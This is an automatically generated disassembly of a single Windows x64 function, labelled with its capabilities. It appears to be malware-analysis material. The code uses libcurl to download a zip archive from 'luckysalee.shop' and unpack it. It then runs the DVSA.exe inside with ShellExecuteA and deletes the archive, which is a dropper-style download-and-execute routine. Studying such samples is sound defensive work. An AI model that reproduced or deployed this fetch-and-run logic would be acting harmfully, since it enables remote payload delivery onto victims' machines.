Function at 0x140001970
Capabilities:
Check if file exists
Create process on windows
Delete file
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f], xmm1
mov ecx, 0x30
call fcn.140003890
mov qword [rbp + 0xf], rax
movdqa xmm0, xmmword [0x140005730]
movdqu xmmword [rbp + 0x1f], xmm0
movups xmm0, xmmword [str.https:__luckysalee.shop_DVSA.zip]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400055c0]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
movdqa xmm1, xmmword [0x140005720]
movdqu xmmword [rbp - 1], xmm1
movabs rax, 0x70697a2e41535644
mov qword [rbp - 0x11], rax
mov byte [rbp - 9], r12b
movups xmmword [rbp - 0x31], xmm0
mov qword [rbp - 0x21], 4
mov qword [rbp - 0x19], 0xf
mov dword [rbp - 0x31], 0x41535644
mov byte [rbp - 0x2d], r12b
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rdi, rax
test rax, rax
je 0x140001cf3
lea rdx, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova rdx, qword [rbp - 0x11]
lea r8, [0x1400055a4]
lea rcx, [rbp - 0x59]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
cmp qword [rbp - 0x59], r12
je 0x140001cf3
lea r8, [rbp + 0xf]
cmp qword [rbp + 0x27], 0xf
cmova r8, qword [rbp + 0xf]
mov edx, 0x2712
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140001290]
mov edx, 0x4e2b
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov r8, qword [rbp - 0x59]
mov edx, 0x2711
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test ebx, ebx
jne 0x140001cf3
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x11]
call fcn.1400012a0
test al, al
je 0x140001cba
mov rsi, qword [rbp - 0x21]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 9
jb 0x140001e44
lea r15, [rbp - 0x31]
cmp qword [rbp - 0x19], 0xf
cmova r15, qword [rbp - 0x31]
xorps xmm0, xmm0
movups xmmword [rbp - 0x51], xmm0
mov qword [rbp - 0x41], r12
mov qword [rbp - 0x39], r12
lea r14, [rsi + 9]
mov ebx, 0xf
lea rdi, [rbp - 0x51]
cmp r14, rbx
jbe 0x140001bae
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001b70
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003890
test rax, rax
je 0x140001cac
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001baa
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001b8a
mov rdi, r12
jmp 0x140001baa
cmp rcx, 0x1000
jb 0x140001ba2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001e4a
jmp 0x140001b51
call fcn.140003890
mov rdi, rax
mov qword [rbp - 0x51], rdi
mov qword [rbp - 0x41], r14
mov qword [rbp - 0x39], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.DVSA.exe]
movsd qword [rdi + rsi], xmm0
movzx eax, byte [0x1400055e0]
mov byte [rdi + rsi + 8], al
mov byte [rdi + r14], 0
lea rcx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0xf
cmova rcx, qword [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001c2d
test al, 0x10
jne 0x140001c2d
lea r8, [rbp - 0x51]
cmp qword [rbp - 0x39], 0xf
cmova r8, qword [rbp - 0x51]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140001c7a
lea rdx, str.T_p_.exe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003000
lea rdx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0xf
cmova rdx, qword [rbp - 0x51]
mov r8, qword [rbp - 0x41]
mov rcx, rax
call fcn.140003650
lea rdx, [0x1400055e8]
mov rcx, rax
call fcn.140003000
mov rcx, rax
lea rdx, [0x1400031e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x39]
cmp rdx, 0xf
jbe 0x140001cdd
inc rdx
mov rcx, qword [rbp - 0x51]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cb3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400038cc
jmp 0x140001cdd
lea rdx, [0x140005608]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003000
mov rcx, rax
lea rdx, [0x1400031e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x140001d16
lea rdx, [0x140005628]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003000
mov rcx, rax
lea rdx, [0x1400031e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140005648]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003000
mov rcx, rax
lea rdx, [0x1400031e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x19]
cmp rdx, 0xf
jbe 0x140001d78
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400038cc
mov qword [rbp - 0x21], r12
mov qword [rbp - 0x19], 0xf
mov byte [rbp - 0x31], 0
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x140001dc6
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001dc1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400038cc
movdqa xmm0, xmmword [0x140005710]
movdqu xmmword [rbp - 1], xmm0
mov byte [rbp - 0x11], 0
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x140001e15
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400038cc
xor eax, eax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140003870
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3